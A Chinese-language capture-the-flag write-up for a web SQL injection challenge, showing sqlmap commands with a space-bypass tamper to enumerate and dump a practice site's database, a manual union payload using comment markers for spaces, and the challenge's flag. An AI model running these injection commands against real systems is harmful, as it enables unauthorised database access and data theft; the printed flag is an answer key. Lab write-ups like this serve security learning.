MENU

CTFWeb—— 简单的 sql 注入之 2

October 14, 2018 • Read: 5948 • Web,CTF阅读设置

解题链接展开目录

思路展开目录

先单引号试一下发现报错,所以基本存在注入,然后我们用空格会爆 SQLi detected! 因此被过滤了,所以过滤的是空格,然后就可以用 sqlmap 爆库爆表爆字段爆值了

1. 爆库展开目录
  • sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dbs

-u:指目标的 URL
--tamper:绕过 WAF 脚本
space2comment:tamper 脚本之一用于绕过过滤空格
--dbs:列举数据库
information_schema 和 test 都是 MySQL 自带的库,所以不用管,接下来要爆的表肯定是在 web1 这个库中

2. 爆表展开目录
  • sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 --tables

-D:后面跟数据库的名字
--tables:列举库中的表
可以看到这个库中就两个表,一个 flag,另一个 web_1,继续爆 flag 这个表里面的字段

3. 爆字段展开目录
  • sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 -T flag --column

-T:后面跟表名字
--column;列举表中的列名 (字段)

4. 爆值展开目录
  • sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 -T flag -C flag --dump

-C:后面跟列的名字
--dump:取出表单所有记录

其实在爆出表和字段之后就可以利用 union 联合查询查出 flag 了,因为频闭了空格,可以利用 /**/ 来代替空格

  • 1'/**/union/**/select/**/flag/**/from/**/flag#

答案展开目录

  • flag{Y0u_@r3_5O_dAmn_90Od}
Archives Tip
QR Code for this page
Tipping QR Code